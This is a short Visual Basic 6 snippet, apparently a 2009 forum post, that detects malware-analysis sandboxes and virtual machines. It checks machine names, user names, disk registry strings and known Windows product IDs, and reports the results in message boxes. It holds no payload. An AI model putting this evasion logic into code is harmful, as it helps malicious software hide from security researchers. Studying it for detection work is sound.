Code:
'Detect 17 Sandboxes
'Coded by stoopid
'Credits to SqUeEzEr
'4/7/09
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const KEY_ALL_ACCESS = &H3F
Const REG_SZ = 1&
Sub Main()
MsgBox "computer<" & CheckComputer()
MsgBox "user<" & CheckUser()
MsgBox "hdd<" & CheckHDD()
MsgBox "serial<" & CheckSerial()
End Sub
Private Function CheckComputer() As Long
Select Case UCase((Environ("COMPUTERNAME")))
Case "AUTO":
CheckComputer = 1
Case "VMLOG":
CheckComputer = 2
Case "NONE-DUSEZ":
CheckComputer = 3
Case "XPSP3":
CheckComputer = 4
Case Else
CheckComputer = 0
End Select
End Function
Private Function CheckUser() As Long
Select Case UCase((Environ("USERNAME")))
Case "SNDBX":
CheckUser = 1
Case "TESTER":
CheckUser = 2
Case "PANDA":
CheckUser = 3
Case "CURRENTUSER":
CheckUser = 4
Case "SCHMIDTI":
CheckUser = 5
Case "ANDY":
CheckUser = 6
Case Else
CheckUser = 0
End Select
End Function
Private Function CheckHDD() As Long
Dim hKey As Long, hOpen As Long, hQuery As Long
Dim szBuffer As String * 128
hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\ControlSet001\Services\Disk\Enum", 0, KEY_ALL_ACCESS, hKey)
If hOpen = 0 Then
hQuery = RegQueryValueEx(hKey, "0", 0, REG_SZ, szBuffer, Len(szBuffer))
If hQuery = 0 Then
If InStr(1, UCase(szBuffer), "VIRTUAL") > 0 Then
CheckHDD = 1
ElseIf InStr(1, UCase(szBuffer), "VMWARE") > 0 Then
CheckHDD = 2
ElseIf InStr(1, UCase(szBuffer), "VBOX") > 0 Then
CheckHDD = 3
ElseIf InStr(1, UCase(szBuffer), "QEMU") > 0 Then
CheckHDD = 4
Else
CheckHDD = 0
End If
End If
Call RegCloseKey(hKey)
End If
End Function
Private Function CheckSerial() As Long
Dim hKey As Long, hOpen As Long, hQuery As Long
Dim szBuffer As String * 128
hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion", 0, KEY_ALL_ACCESS, hKey) 'vista
If hOpen <> 0 Then
hOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, hKey) 'xp
End If
If hOpen = 0 Then
hQuery = RegQueryValueEx(hKey, "ProductId", 0, REG_SZ, szBuffer, Len(szBuffer))
If hQuery = 0 Then
If InStr(1, szBuffer, "76487-337-8429955-22614") > 0 Then
CheckSerial = 1
ElseIf InStr(1, szBuffer, "76487-644-3177037-23510") > 0 Then
CheckSerial = 2
ElseIf InStr(1, szBuffer, "55274-640-2673064-23950") > 0 Then
CheckSerial = 3
Else
CheckSerial = 0
End If
End If
Call RegCloseKey(hKey)
End If
End Function